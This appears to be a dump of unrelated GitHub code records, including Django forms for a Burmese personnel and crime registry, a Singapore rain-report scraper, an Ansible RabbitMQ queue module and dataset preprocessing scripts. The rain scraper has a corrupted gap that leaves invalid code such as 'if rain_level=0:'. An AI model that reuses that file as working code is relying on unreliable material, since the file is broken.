logger.error(f\"SMBus connect failed. Port : {self._device.smbusdevice.port} - id : {self._device.id} - \"\n # f\"name {self._device.short_name}\")\n result = False\n\n self.accessibility()\n return result\n\n def disconnect(self):\n if self.inst is not None:\n self.inst.close()\n self.inst = None\n return True\n return False\n","repo_name":"pyscada/PyScada-SMBus","sub_path":"pyscada/smbus/devices/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1287,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7306584612","text":"import pandas as pd\nimport time\n\n\ndef calcular_bollinger_bands(precios, dias=20, k=2):\n # Convertir la lista de precios a una serie de Pandas\n precios = pd.Series(precios)\n\n # Calcular la media móvil de los precios\n sma = precios.rolling(window=dias).mean()\n\n # Calcular la desviación estándar de los precios\n std = precios.rolling(window=dias).std()\n\n # Calcular las bandas de Bollinger superior e inferior\n upper_band = sma + (k * std)\n lower_band = sma - (k * std)\n\n # Devolver un DataFrame con las bandas de Bollinger y la media móvil\n return pd.DataFrame({'Precio': precios, 'Media Móvil': sma, 'Banda Superior': upper_band, 'Banda Inferior': lower_band})\n\n\n\n\n\ndef estrecho(BS,BI,moneda):\n parametros = {'BTCUSDT':0.0375, 'XLMUSDT':0.2, 'ETHUSDT':0.2,'EOSUSDT':0.2}\n margen = (BS/BI)-1\n if margen <= parametros[moneda]:\n return True\n else:\n return False\n ","repo_name":"Josealv07/App_Inversiones","sub_path":"funciones.py","file_name":"funciones.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8516430866","text":"from django import forms\nfrom .models import *\nfrom django.forms import ModelForm\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.forms import UserCreationForm\n\nclass CategoryForm(forms.ModelForm):\n class Meta:\n model = Category\n fields = \"__all__\"\n labels = {\n 'user':'User Name',\n 'name':'Category Name',\n\n \n }\n\n widgets = {\n 'user':forms.Select(attrs=({'placeholder':'Select User'})),\n 'name':forms.TextInput(attrs=({'placeholder':'Enter Category Name'})),\n }\nclass PhotoForm(forms.ModelForm):\n class Meta:\n model = Photo\n fields = \"__all__\"\n labels = {\n 'category':'Category',\n 'title':'Title',\n 'country':'Country',\n 'image':'Image'\n }\n widgets = {\n 'category':forms.Select(attrs=({'placeholder':'Select Category'})),\n 'title':forms.TextInput(attrs=({'placeholder':'Title'})),\n 'country':forms.TextInput(attrs=({'placeholder':'Country'})),\n 'image':forms.FileInput(attrs=({})),\n\n }\n\nclass CustomUserCreationForm(UserCreationForm):\n class Meta:\n model = User\n fields = [\n 'username', 'password1', 'password2'\n ]\n def __init__(self, *args, **kwargs):\n super(CustomUserCreationForm, self).__init__(*args, **kwargs)\n self.fields['username'].widget.attrs.update({'class':'form-control', 'placeholder':'Enter username'})\n self.fields['password1'].widget.attrs.update({'class':'form-control', 'placeholder':'Enter password'})\n self.fields['password2'].widget.attrs.update({'class':'form-control', 'placeholder':'Confirm entered password'})\n\n\nclass NationForm(forms.ModelForm):\n class Meta:\n model = Nation\n fields = \"__all__\"\n labels = {\n 'name':'လူမျိုး နာမေ',\n }\n widgets = {\n 'name':forms.TextInput(attrs=({'placeholder':'လူမျိုးနာမေ ရိုက်ထည့်ပါ'}))\n }\n\nclass DepartmentForm(forms.ModelForm):\n class Meta:\n model = Department\n fields = \"__all__\"\n labels = {\n 'name':'လက်ဟိ တာဝန်ထမ်းဆောင်နိန်ရေ ဌာန'\n }\n widgets = {\n 'name':forms.TextInput(attrs=({'placeholder':'တာဝန်ထမ်းဆောင်နိန်ရေ ဌာနကိုရိုက်ထည့်ပါ'}))\n }\n\nclass ReligionForm(forms.ModelForm):\n class Meta:\n model = Religion\n fields = \"__all__\"\n labels = {\n 'name':'ကိုးကွယ်ရေ ဘာသာ'\n }\n widgets = {\n 'name':forms.TextInput(attrs=({'placeholder':'ကိုးကွယ်ရေ ဘာသာ ကိုရိုက်ထည့်ပါ'}))\n }\n\nclass TrainingGroundForm(forms.ModelForm):\n class Meta:\n model = TrainingGround\n fields = \"__all__\"\n labels = {\n 'name':'သင်တန်း နိန်ရာ'\n }\n widgets = {\n 'name':forms.TextInput(attrs=({'placeholder':'သင်တန်း နိန်ရာရိုက်ထည့်ပါ'}))\n }\n \nclass TrainingTypeForm(forms.ModelForm):\n class Meta:\n model = TrainingType\n fields = \"__all__\"\n labels = {\n 'name':'သင်တန်းအမျိုးအစား'\n }\n widgets = {\n 'name':forms.TextInput(attrs=({'placeholder':'သင်တန်း အမျိုးအစားရိုက်ထည့်ပါ'}))\n }\n\nclass RankForm(forms.ModelForm):\n class Meta:\n model = Rank\n fields = \"__all__\"\n labels = {\n 'name':'အဆင့်'\n }\n widgets = {\n 'name':forms.TextInput(attrs=({'placeholder':'အဆင့် ကို ရိုက်ထည့်ပါ'}))\n }\n\nclass AppointmentForm(forms.ModelForm):\n class Meta:\n model = Appointment\n fields = \"__all__\"\n labels = {\n 'name':'တာဝန် နာမေ'\n }\n widgets = {\n 'name':forms.TextInput(attrs=({'placeholder':'တာဝန် နာမေ ရိုက်ထည့်ပါ'}))\n }\n\n\n\nclass BloodForm(forms.ModelForm):\n class Meta:\n model = Blood\n fields = \"__all__\"\n labels = {\n 'name':'သွီးအမျိုးအစား နာမေ'\n }\n widgets = {\n 'name':forms.TextInput(attrs=({'placeholder':'သွီးအမျိုးအစား နာမေ ရိုက်ထည့်ပါ'}))\n }\n\nclass MarriedForm(forms.ModelForm):\n class Meta:\n model = Married\n fields = \"__all__\"\n labels = {\n 'name':'အိမ်ထောင် ဟိ/မဟိ'\n }\n widgets = {\n 'name':forms.TextInput(attrs=({'placeholder':'အိမ်ထောင် ဟိ/မဟိ ရိုက်ထည့်ပါ'}))\n }\n\nclass GenderForm(forms.ModelForm):\n class Meta:\n model = Gender\n fields = \"__all__\"\n labels = {\n 'name':'လိင် အမျိုးအစား'\n }\n widgets = {\n 'name':forms.TextInput(attrs=({'placeholder':'လိင် အမျိုးအစား ရိုက်ထည့်ပါ'}))\n }\n\nclass CrimeForm(forms.ModelForm):\n class Meta:\n model = Crime\n fields = \"__all__\"\n labels = {\n 'name':'နာမေ',\n 'crime_type':'ပြစ်မှု အမျိုးအစား',\n 'punished':'ပြစ်ဒဏ်',\n 'start':'ပြစ်ဒဏ် စရေနိန့်',\n 'end':'ပြစ်ဒဏ် ဆုံးရေနိန့်',\n 'commander':'အထက်လူကြီး',\n }\n\n widgets = {\n 'name':forms.Select(attrs=({'placeholder':'နာမေ'})),\n\n 'crime_type':forms.TextInput(attrs=({'placeholder':'ပြစ်မှု အမျိုးအစားရိုက်ထည့်ပါ'})),\n 'punished':forms.TextInput(attrs=({'placeholder':'ပြစ်ဒဏ် အမျိုးအစားရိုက်ထည့်ပါ', })),\n 'start':forms.DateInput(attrs=({'placeholder':'ပြစ်ဒဏ် စရေနိန့်ကို ရိုက်ထည့်ပါ', 'type':'date'})),\n 'end':forms.DateInput(attrs=({'placeholder':'ပြစ်ဒဏ် ဆုံးရေနိန့်ကို ရိုက်ထည့်ပါ', 'type':'date'})),\n 'commander':forms.TextInput(attrs=({'placeholder':'အထက်လူကြီး နာမေ ကို ရိုက်ထည့်ပါ'})),\n\n }\n \nclass PersonalForm(forms.ModelForm):\n class Meta:\n model = Personal\n fields = \"__all__\"\n labels = {\n 'name':'နာမေ',\n 'rank':'အဆင့်',\n 'appointment':'တာဝန်',\n 'ser_number':'ကိုယ်ပိုင် နံ���ါတ်',\n 'image':'ဓါတ်ပုံ',\n 'department':'ဌာန',\n 'gender':'လိင်',\n 'birhday':'မွီးနိ့',\n 'religion':'ကိုးကွယ်ရေ ဘာသာ',\n 'nation':'လူမျိုး',\n 'address':'နိန်ရပ် လိပ်စာ',\n 'father':'အဖ နာမေ',\n 'mother':'အမိ နာမေ',\n 'married':'အိမ်ထောင် ဟိ/မဟိ',\n 'blood':'သွီး အမျိုးအစား',\n 'health':'ကျန်းမာရီး',\n 'height':'အရပ်',\n 'education':'ပညာ အရည်အခြင်း',\n 'join_date':'တပ်ဝင် ရက်စွဲ',\n 'batch_no':'သင်တန်း အပါတ်စဥ်',\n 'trained_place':'သင်တန်း နိန်ရာ',\n 'trained_type':'တက်ရောက်ဖူးရေ သင်တန်း',\n 'long_time':'သင်တန်းကြာချိန်'\n \n \n }\n\n widgets = {\n 'name':forms.TextInput(attrs=({'placeholder':'နာမေ ကိုရိုက်ထည့်ပါ'})),\n 'rank':forms.Select(attrs=({'placeholder':'အဆင့် ကိုရွီးချယ်ပါ'})),\n 'appointment':forms.Select(attrs=({'placeholder':'တာဝန် ကိုရွီးချယ်ပါ'})),\n 'ser_number':forms.TextInput(attrs=({'placeholder':'ကိုယ်ပိုင် နံပါတ် ကိုရိုက်ထည့်ပါ'})),\n 'image':forms.FileInput(attrs=({})),\n 'department':forms.Select(attrs=({'placeholder':'ဌာန ကိုရွီးချယ်ပါ'})),\n 'gender':forms.Select(attrs=({'placeholder':'လိင် အမျိုးအစား ကိုရိုက်ထည့်ပါ'})),\n 'birthday':forms.DateInput(attrs=({'placeholder':'မွီးနိ့ ကိုရိုက်ထည့်ပါ', 'type':'date'})),\n 'religion':forms.Select(attrs=({'placeholder':'ကိုးကွယ်ရေဘာသာ ကိုရိုက်ထည့်ပါ'})),\n 'nation':forms.Select(attrs=({'placeholder':'လူမျိုး ကိုရိုက်ထည့်ပါ'})),\n 'address':forms.TextInput(attrs=({'placeholder':'လိပ်စာ ကိုရိုက်ထည့်ပါ'})),\n 'father':forms.TextInput(attrs=({'placeholder':'အဖ နာမေ ကိုရိုက်ထည့်ပါ'})),\n 'mother':forms.TextInput(attrs=({'placeholder':'အမိ နာမေ ကိုရိုက်ထည့်ပါ'})),\n 'married':forms.Select(attrs=({'placeholder':'အိမ်ထောင် ဟိ/မဟိ ကိုရိုက်ထည့်ပါ'})),\n 'blood':forms.Select(attrs=({'placeholder':'သွီးအမျိုးအစား ကိုရွီးချယ်ပါ'})),\n 'health':forms.TextInput(attrs=({'placeholder':'ကျန်းမာရီး ကိုရိုက်ထည့်ပါ'})),\n 'height':forms.TextInput(attrs=({'placeholder':'အရပ် ကိုရိုက်ထည့်ပါ'})),\n 'education':forms.TextInput(attrs=({'placeholder':'ပညာအရည်အခြင်း ကိုရိုက်ထည့်ပါ'})),\n 'join_date':forms.DateInput(attrs=({'placeholder':'တပ်ဝင် ရက်စွဲ ကိုရိုက်ထည့်ပါ', 'type':'date'})),\n 'batch_no':forms.TextInput(attrs=({'placeholder':'သင်တန်းအမှတ်စဥ် ကိုရိုက်ထည့်ပါ'})),\n 'trained_place':forms.Select(attrs=({'placeholder':'သင်တန်း နိန်ရာ ကိုရွီးချယ်ပါ'})),\n 'trained_type':forms.SelectMultiple(attrs=({'placeholder':'သင်တန်း အမျိုးအစား ကိုရွီးချယ်ပါ'})),\n 'long_time':forms.TextInput(attrs=({'placeholder':'သင်တန်း ကြာချိန် ကိုရိုက်ထည့်ပါ'})),\n\n \n \n \n }\n\n def __init__(self,*args, **kwargs):\n super(PersonalForm, self).__init__(*args, **kwargs)\n self.fields['rank'].empty_label = 'အဆင့် အမျိုးအစား ရွီးချယ်ပါ...'\n self.fields['appointment'].empty_label = 'တာဝန် အမျိုးအစား ရွီးချယ်ပါ...'\n self.fields['religion'].empty_label = 'ကိုးကွယ်ရေ ဘာသာ ရွီးချယ်ပါ...'\n self.fields['nation'].empty_label = 'လူမျိုး ရွီးချယ်ပါ...'\n self.fields['blood'].empty_label = 'သွီးအမျိုးအစား ီးချယ်ပါ...'\n self.fields['trained_place'].empty_label = 'သင်တန်း နိန်ရာ ရွီးချယ်ပါ...'\n self.fields['trained_type'].empty_label = 'သင်တန်း အမျိုးအစား ရွီးချယ်ပါ...'\n \nclass Serviced_Form(forms.ModelForm):\n class Meta:\n model = ServicedPlace\n fields = \"__all__\"\n labels = {\n 'name':'နာမေ',\n 'serviced':'ဌာန နာမေ',\n 'start_date':'စရေ နိန့်',\n 'end_date':'ဆုံးရေ နိန့်',\n 'long_time':'ကြာချိန်'\n }\n\n widgets = {\n 'name':forms.Select(attrs=({'placeholder':'နာမေ ကို ရွီးချယ်ပါ'})),\n 'serviced':forms.Select(attrs=({'placeholder':'ဌာန နာမေ ကို ရိုက်ထည့်ပါ'})),\n 'start_date':forms.DateInput(attrs=({'placeholder':'စရေ နိန့်', 'type':'date'})),\n 'end_date':forms.DateInput(attrs=({'placeholder':'ဆုံးရေနိန့် ရွီးချယ်ပါ', 'type':'date'})),\n 'long_time':forms.DateInput(attrs=({'placeholder':'ကြာချိန်'})),\n }\n def __init__(self,*args, **kwargs):\n super(PersonalForm, self).__init__(*args, **kwargs)\n self.fields['serviced'].empty_label = 'အဆင့် အမျိုးအစား ရွီးချယ်ပါ...'","repo_name":"thansoe-2000/record","sub_path":"myapp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":13288,"program_lang":"python","lang":"my","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20771774964","text":"#coding=utf-8\nimport numpy as np\nimport plotext as plt\n\n\nini_y = 20\nini_x = 0\ng = -9.8*0.01\nini_vx = 0\nini_vy = 0\nplt.ylim(0,20)\nplt.xlim(-10,10)\nt = 1000\nfor dt in range(t):\n plt.cld()\n plt.clt()\n x = [0]\n y = [0]\n x[0] = ini_x + dt*ini_vx\n y[0] = ini_y + dt*(ini_vy+g*dt)\n plt.scatter(x, y, marker = \"big\")\n plt.plotsize(50,50)\n plt.colorless()\n plt.show()\n","repo_name":"ReluctantHacker/physicsEmulator","sub_path":"t_freefall.py","file_name":"t_freefall.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27467254837","text":"import logging\nimport bs4 as bs\nimport urllib.request\n\nlogger = logging.getLogger('sg_rain_bot.raindata')\n\nclass RainData:\n def __init__(self):\n '''Initilizes Bot object with attributes:\n prev_report (str): previously generated rain report text \n '''\n self.prev_report = ''\n logger.info('RainData loaded!')\n \n def get_text(self):\n '''\n Returns:\n report (str): Formatted rain report text to send to telegram users\n is_new_info (int): 1 if is new info, 0 o.w.\n '''\n # webscraping\n source = urllib.request.urlopen('http://www.weather.gov.sg/weather-forecast-2hrnowcast-2/').read()\n soup = bs.BeautifulSoup(source,'html.parser')\n ls_town = []\n ls_weather = []\n forecast_period = soup.find('span', {'class':'time'}).text\n\n # get towns and weather\n for table in soup.find_all('table'):\n for tr in table.find_all('tr'):\n ls_td = tr.find_all('td')\n if ls_td:\n town = ls_td[0].text\n weather = ls_td[1].text.replace('\\xa0', '')\n ls_town.append(town)\n ls_weather.append(weather)\n\n # get rain levels\n ls_rain_level = []\n for weather in [x.lower() for x in ls_weather]:\n rain_level = 0\n if 'rain' in weather or 'shower' in weather:\n if 'light' in weather:\n rain_level = -1\n elif 'thunder' in weather:\n rain_level = -3\n else:\n rain_level = -2\n ls_rain_level.append(rain_level)\n \n # get other data structures\n ls_region = [dt_town_region.get(town, 'unknown') for town in ls_town]\n dt_region_max_rain_level = {region:1 for region in dt_region_town}\n for region, rain_level in zip(ls_region, ls_rain_level):\n if region=='unknown': continue\n if rain_level=0:\n continue #skip non rain\n else:\n no_rain = 0\n if weather_c != weather:\n weather_c = weather\n report += f'\\n{dt_rain_level_emoji[rain_level]} {weather.title()}\\n'\n if town_c != town:\n town_c = town\n report += f'{town}, '\n\n # generate report string part 2\n if no_rain:\n report+='No rain warnings :)'\n \n # generate report string part 3\n report += f'\\n\\nForecast Period: {forecast_period}'\n for i, (_, rain_level) in enumerate(dt_region_max_rain_level.items()):\n if i%3==0:\n report+='\\n'\n report+=dt_rain_level_emoji[rain_level]\n \n report+=f'\\nMap Summary\\n[2 Hour Forecast] [Live Rain Radar]'\n # generate is_new_info\n is_new_info = 1\n #if self.prev_report == '' and no_rain: #first time and no rain\n #is_new_info = 0\n if self.prev_report == report: #same report as previous\n is_new_info = 0\n self.prev_report = report\n return report, is_new_info\n\nls_links = [\n #'http://www.weather.gov.sg/weather-forecast-2hrnowcast-2/',\n #'http://www.weather.gov.sg/weather-rain-area-50km',\n 'https://www.nea.gov.sg/weather#weather-forecast2hr',\n 'https://www.nea.gov.sg/weather/rain-areas',\n]\n\ndt_rain_level_emoji = {\n 0:'\\u2600', #sun\n -1:'\\u2601', #cloud\n -2:'\\U0001F327', #cloud with rain\n -3:'\\u26C8', #cloud with rain and thunder\n}\ndt_region_town = {\n'NW': ['Lim Chu Kang',\n 'Sungei Kadut',\n 'Western Water Catchment'],\n'NN': ['Mandai', \n 'Sembawang',\n 'Woodlands', \n 'Yishun'],\n'NE': ['Pulau Ubin',\n 'Punggol', \n 'Seletar', \n 'Sengkang'],\n'WW': ['Bukit Batok',\n 'Choa Chu Kang',\n 'Clementi',\n 'Jalan Bahar',\n 'Jurong East',\n 'Jurong West',\n 'Tengah'],\n'CC': ['Ang Mo Kio',\n 'Bishan',\n 'Bukit Panjang',\n 'Bukit Timah',\n 'Central Water Catchment',\n 'Novena',\n 'Serangoon',\n 'Tanglin',\n 'Toa Payoh'],\n'EE': ['Changi',\n 'Hougang',\n 'Pasir Ris',\n 'Paya Lebar',\n 'Pulau Tekong',\n 'Tampines'],\n'SW': ['Boon Lay', \n 'Jurong Island', \n 'Pioneer', \n 'Tuas',\n 'Western Islands'],\n'SS': ['Bukit Merah',\n 'City', \n 'Queenstown',\n 'Sentosa',\n 'Southern Islands'],\n'SE': ['Bedok',\n 'Geylang',\n 'Kallang',\n 'Marine Parade'],\n}\n# dt_region_order = {}\n# for i, region in enumerate(dt_region_town):\n # dt_region_order[region] = i\ndt_town_region = {}\nfor k, v in dt_region_town.items():\n for town in v:\n dt_town_region[town]=k","repo_name":"MichaelOw/sg-rain-bot","sub_path":"sg_rain_bot/raindata.py","file_name":"raindata.py","file_ext":"py","file_size_in_byte":5362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31597456774","text":"import pandas as pd\nimport json\n\n\n# Prepare election data\ndef prepare_election_data(election):\n wahl = pd.read_csv(\"../data/\"+election+\".csv\", encoding=\"utf-8\")\n wahl[\"gkz\"] = wahl.apply(lambda x: x[\"GKZ\"][1:], axis=1)\n wahl = wahl.drop([\"GKZ\"], axis=1)\n wahl.iloc[0][wahl.columns[0:-1]].to_dict()\n\n gkz_wahl = {str(row[\"gkz\"]): row[wahl.columns[0:-1]].to_dict()\n for (index, row) in wahl.iterrows()}\n\n return gkz_wahl\n\n\n# Save election data ready for D3\ndef save_election_data(wahlen=[\"nrw2017\", \"nrw2013\", \"nrw2008\"]):\n output_wahl = {}\n\n for e in wahlen:\n output_wahl[e] = prepare_election_data(e)\n\n with open(\"../data/wahl.json\", 'w') as fp:\n json.dump(output_wahl, fp)\n\n\ndef jdefault(o):\n return o.__dict__\n\n\n# Save money data ready for D3\ndef save_money_data():\n # Load scraped data\n data = pd.read_csv(\"../data/STA_RA_data.csv\").drop([\"Unnamed: 0\"], axis=1)\n\n # Create einnahmen_ausgaben json\n output_data = {}\n ausgaben_namen = data[\"haushaltskonto-hinweis-name\"].unique().tolist()\n grouped = data.groupby(\"gkz\")\n\n for gkz, group in grouped:\n element = {}\n rechnugngsliste = {}\n temp = {}\n einnahmen_ausgaben = {}\n aggregation = {}\n for n in ausgaben_namen:\n aggregation[n] = 0\n\n for id, row in group.iterrows():\n temp[id] = row.to_dict()\n\n ausgaben_typ = row[\"haushaltskonto-hinweis-name\"]\n aggregation[ausgaben_typ] = aggregation[ausgaben_typ] + float(\n row[\"soll-rj\"].replace(\",\", \".\"))\n\n year = next(iter(temp.values()))[\"jahr\"]\n rechnugngsliste[year] = temp\n\n einnahmen_ausgaben[year] = aggregation\n\n element[\"gkz\"] = gkz\n # element[\"rechnugngsliste\"] = rechnugngsliste\n element[\"einnahmen_ausgaben\"] = einnahmen_ausgaben\n\n output_data[gkz] = element\n\n with open(\"../data/money.json\", 'w') as fp:\n json.dump(output_data, fp)\n\n\n# save_election_data()\nsave_money_data()\n","repo_name":"Christoph/brush_comparison","sub_path":"scraping/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25110180067","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# (c) 2015, Manuel Sousa \n#\n# This file is part of Ansible\n#\n# Ansible is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Ansible is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Ansible. If not, see .\n#\n\nANSIBLE_METADATA = {'status': ['preview'],\n 'supported_by': 'community',\n 'version': '1.0'}\n\nDOCUMENTATION = '''\n---\nmodule: rabbitmq_queue\nauthor: \"Manuel Sousa (@manuel-sousa)\"\nversion_added: \"2.0\"\n\nshort_description: This module manages rabbitMQ queues\ndescription:\n - This module uses rabbitMQ Rest API to create/delete queues\nrequirements: [ \"requests >= 1.0.0\" ]\noptions:\n name:\n description:\n - Name of the queue to create\n required: true\n state:\n description:\n - Whether the queue should be present or absent\n - Only present implemented atm\n choices: [ \"present\", \"absent\" ]\n required: false\n default: present\n login_user:\n description:\n - rabbitMQ user for connection\n required: false\n default: guest\n login_password:\n description:\n - rabbitMQ password for connection\n required: false\n default: false\n login_host:\n description:\n - rabbitMQ host for connection\n required: false\n default: localhost\n login_port:\n description:\n - rabbitMQ management api port\n required: false\n default: 15672\n vhost:\n description:\n - rabbitMQ virtual host\n required: false\n default: \"/\"\n durable:\n description:\n - whether queue is durable or not\n required: false\n choices: [ \"yes\", \"no\" ]\n default: yes\n auto_delete:\n description:\n - if the queue should delete itself after all queues/queues unbound from it\n required: false\n choices: [ \"yes\", \"no\" ]\n default: no\n message_ttl:\n description:\n - How long a message can live in queue before it is discarded (milliseconds)\n required: False\n default: forever\n auto_expires:\n description:\n - How long a queue can be unused before it is automatically deleted (milliseconds)\n required: false\n default: forever\n max_length:\n description:\n - How many messages can the queue contain before it starts rejecting\n required: false\n default: no limit\n dead_letter_exchange:\n description:\n - Optional name of an exchange to which messages will be republished if they\n - are rejected or expire\n required: false\n default: None\n dead_letter_routing_key:\n description:\n - Optional replacement routing key to use when a message is dead-lettered.\n - Original routing key will be used if unset\n required: false\n default: None\n arguments:\n description:\n - extra arguments for queue. If defined this argument is a key/value dictionary\n required: false\n default: {}\n'''\n\nEXAMPLES = '''\n# Create a queue\n- rabbitmq_queue:\n name: myQueue\n\n# Create a queue on remote host\n- rabbitmq_queue:\n name: myRemoteQueue\n login_user: user\n login_password: secret\n login_host: remote.example.org\n'''\n\nimport requests\nimport urllib\nimport json\n\ndef main():\n module = AnsibleModule(\n argument_spec = dict(\n state = dict(default='present', choices=['present', 'absent'], type='str'),\n name = dict(required=True, type='str'),\n login_user = dict(default='guest', type='str'),\n login_password = dict(default='guest', type='str', no_log=True),\n login_host = dict(default='localhost', type='str'),\n login_port = dict(default='15672', type='str'),\n vhost = dict(default='/', type='str'),\n durable = dict(default=True, type='bool'),\n auto_delete = dict(default=False, type='bool'),\n message_ttl = dict(default=None, type='int'),\n auto_expires = dict(default=None, type='int'),\n max_length = dict(default=None, type='int'),\n dead_letter_exchange = dict(default=None, type='str'),\n dead_letter_routing_key = dict(default=None, type='str'),\n arguments = dict(default=dict(), type='dict')\n ),\n supports_check_mode = True\n )\n\n url = \"http://%s:%s/api/queues/%s/%s\" % (\n module.params['login_host'],\n module.params['login_port'],\n urllib.quote(module.params['vhost'],''),\n module.params['name']\n )\n\n # Check if queue already exists\n r = requests.get( url, auth=(module.params['login_user'],module.params['login_password']))\n\n if r.status_code==200:\n queue_exists = True\n response = r.json()\n elif r.status_code==404:\n queue_exists = False\n response = r.text\n else:\n module.fail_json(\n msg = \"Invalid response from RESTAPI when trying to check if queue exists\",\n details = r.text\n )\n\n if module.params['state']=='present':\n change_required = not queue_exists\n else:\n change_required = queue_exists\n\n # Check if attributes change on existing queue\n if not change_required and r.status_code==200 and module.params['state'] == 'present':\n if not (\n response['durable'] == module.params['durable'] and\n response['auto_delete'] == module.params['auto_delete'] and\n (\n ( 'x-message-ttl' in response['arguments'] and response['arguments']['x-message-ttl'] == module.params['message_ttl'] ) or\n ( 'x-message-ttl' not in response['arguments'] and module.params['message_ttl'] is None )\n ) and\n (\n ( 'x-expires' in response['arguments'] and response['arguments']['x-expires'] == module.params['auto_expires'] ) or\n ( 'x-expires' not in response['arguments'] and module.params['auto_expires'] is None )\n ) and\n (\n ( 'x-max-length' in response['arguments'] and response['arguments']['x-max-length'] == module.params['max_length'] ) or\n ( 'x-max-length' not in response['arguments'] and module.params['max_length'] is None )\n ) and\n (\n ( 'x-dead-letter-exchange' in response['arguments'] and response['arguments']['x-dead-letter-exchange'] == module.params['dead_letter_exchange'] ) or\n ( 'x-dead-letter-exchange' not in response['arguments'] and module.params['dead_letter_exchange'] is None )\n ) and\n (\n ( 'x-dead-letter-routing-key' in response['arguments'] and response['arguments']['x-dead-letter-routing-key'] == module.params['dead_letter_routing_key'] ) or\n ( 'x-dead-letter-routing-key' not in response['arguments'] and module.params['dead_letter_routing_key'] is None )\n )\n ):\n module.fail_json(\n msg = \"RabbitMQ RESTAPI doesn't support attribute changes for existing queues\",\n )\n\n\n # Copy parameters to arguments as used by RabbitMQ\n for k,v in {\n 'message_ttl': 'x-message-ttl',\n 'auto_expires': 'x-expires',\n 'max_length': 'x-max-length',\n 'dead_letter_exchange': 'x-dead-letter-exchange',\n 'dead_letter_routing_key': 'x-dead-letter-routing-key'\n }.items():\n if module.params[k]:\n module.params['arguments'][v] = module.params[k]\n\n # Exit if check_mode\n if module.check_mode:\n module.exit_json(\n changed= change_required,\n name = module.params['name'],\n details = response,\n arguments = module.params['arguments']\n )\n\n # Do changes\n if change_required:\n if module.params['state'] == 'present':\n r = requests.put(\n url,\n auth = (module.params['login_user'],module.params['login_password']),\n headers = { \"content-type\": \"application/json\"},\n data = json.dumps({\n \"durable\": module.params['durable'],\n \"auto_delete\": module.params['auto_delete'],\n \"arguments\": module.params['arguments']\n })\n )\n elif module.params['state'] == 'absent':\n r = requests.delete( url, auth = (module.params['login_user'],module.params['login_password']))\n\n if r.status_code == 204:\n module.exit_json(\n changed = True,\n name = module.params['name']\n )\n else:\n module.fail_json(\n msg = \"Error creating queue\",\n status = r.status_code,\n details = r.text\n )\n\n else:\n module.exit_json(\n changed = False,\n name = module.params['name']\n )\n\n# import module snippets\nfrom ansible.module_utils.basic import *\n\nif __name__ == '__main__':\n main()\n","repo_name":"ansible/ansible-modules-extras","sub_path":"messaging/rabbitmq_queue.py","file_name":"rabbitmq_queue.py","file_ext":"py","file_size_in_byte":9656,"program_lang":"python","lang":"en","doc_type":"code","stars":944,"dataset":"github-code","pt":"47"} +{"seq_id":"32520543723","text":"import os\nimport math\n\nfrom cfg import getPath\n\n\n# Poin this to the folder containing all the classes of snakes\n\nclass DataPreprocessing:\n def __init__(self, datasetRoot='E:/ML Dataset/Snake/train/'):\n self.path = datasetRoot\n print('init_temp')\n if (os.path.isdir('../Data/dataset/') == False):\n os.mkdir('../Data/dataset/')\n\n # This method generates a list of the classes of snake we have avaliable and how many images we have\n def ClassList(self, classCount):\n classListFile = open(\"../Data/dataset/classList.txt\", \"w\")\n imageListFile = open(\"../Data/dataset/imageList.txt\", \"w\")\n\n confirmedCount = 0\n for i in range(1626):\n if confirmedCount >= classCount:\n break\n if os.path.isdir(self.path + 'class-' + str(i)):\n confirmedCount += 1\n imageList = os.listdir(self.path + 'class-' + str(i))\n classListFile.write('class-' + str(i) +'|'+ str(len(imageList)) + '\\n')\n for imageIterator in range(len(imageList)):\n imageListFile.write('class-' + str(i) + '/' + imageList[imageIterator] + '\\n')\n\n print('Current class : ' + str(i))\n\n classListFile.close()\n imageListFile.close()\n\n # This method generates over/undersamples from each to create a proportional train/val/test set\n def DataSplit(self, trainSplit=0.7, validateSplit=0.2, testSplit=0.1):\n \n\n classListFile = open(\"../Data/dataset/classList.txt\", \"r\")\n imageListFile = open(\"../Data/dataset/imageList.txt\", \"r\")\n classListLines = classListFile.readlines()\n imageListLines = imageListFile.readlines()\n\n total = 0\n for i in range(len(classListLines)): \n className = classListLines[i].split('|')[0]\n\n trainListFile = open(\"../Data/dataset/\"+ className + \"_trainList.txt\", \"w\")\n valListFile = open(\"../Data/dataset/\"+ className + \"_valList.txt\", \"w\")\n testListFile = open(\"../Data/dataset/\"+ className + \"_testList.txt\", \"w\")\n \n classCount = int(classListLines[i].split('|')[1])\n trainCount = math.floor( classCount * trainSplit)\n valCount = math.floor( classCount * validateSplit)\n testCount = math.floor( classCount * testSplit)\n\n for imageIterator in range(total, total+trainCount, 1):\n trainListFile.write(imageListLines[imageIterator])\n \n for imageIterator in range(total+trainCount, total+trainCount+valCount, 1):\n valListFile.write(imageListLines[imageIterator])\n\n for imageIterator in range(total+trainCount+valCount, total+classCount, 1):\n testListFile.write(imageListLines[imageIterator])\n\n total += classCount\n\n trainListFile.close()\n valListFile.close()\n testListFile.close()\n\n classListFile.close()\n imageListFile.close()\n","repo_name":"PierceB/Snake-Challenge","sub_path":"Networks/Data/dataPreprocess.py","file_name":"dataPreprocess.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} 